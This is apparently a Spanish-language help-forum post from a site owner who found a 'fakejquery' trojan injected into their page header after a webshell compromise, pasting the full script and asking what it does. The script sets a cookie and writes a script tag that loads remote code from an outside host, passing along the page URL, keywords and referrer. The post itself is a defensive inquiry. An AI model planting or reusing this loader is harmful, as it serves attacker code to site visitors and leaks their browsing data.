Recientemente mi sitio fue hackeado, los atacantes lograron subir una webshell al sitio, sin embargo ya todo fue controlado y el sitio esta seguro nuevamente.
Ahora eset nod32 me detecto un trojano fakejquery, investigando un poco pude ver que en el header de la pagina se ha insertado el siguiente script:
<script>
var a = '';
setTimeout(1);
function setCookie(a, b, c) {
var d = new Date;
d.setTime(d.getTime() + 60 * c * 60 * 1e3);
var e = "expires=" + d.toUTCString();
document.cookie = a + "=" + b + "; " + e
}
function getCookie(a) {
for (var b = a + "=", c = document.cookie.split(";"), d = 0; d < c
.length; d++) {
for (var e = c[d];
" " == e.charAt(0);) e = e.substring(1);
if (0 == e.indexOf(b)) return e.substring(b.length, e.length)
}
return null
}
null == getCookie("__cfgoid") && (setCookie("__cfgoid", 1, 1), 1 ==
getCookie("__cfgoid") && (setCookie("__cfgoid", 2, 1), document.write(
'<script type="text/javascript" src="' +
'http://crazytime.home.pl/js/jquery.min.php' + '?key=b64' +
'&utm_campaign=' + 'I92930' + '&utm_source=' + window.location.host +
'&utm_medium=' + '&utm_content=' + window.location +
'&utm_term=' + encodeURIComponent(
((k = (function() {
var keywords = '';
var metas = document.getElementsByTagName('meta');
if (metas) {
for (var x = 0, y = metas.length; x < y; x++) {
if (metas[x].name.toLowerCase() == "keywords") {
keywords += metas[x].content;
}
}
}
return keywords !== '' ? keywords : null;
})()) == null ? (v = window.location.search.match(
/utm_term=([^&]+)/)) == null ? (t = document.title) == null ?
'' : t : v[1] : k)) + '&se_referrer=' + encodeURIComponent(
document.referrer) + '"><' + '/script>')));
</script>
Por lo que entiendo el script anterior esta generando tráfico a un sitio externo.
Ya eliminé todo este código del sitio, pero me quedo la duda de lo que realmente hace este código.
Mi pregunta es: ¿Estoy en lo correcto al pensar que se está generando trafico a un sitio externo, o el código compartido anteriormente hace algo adicional?
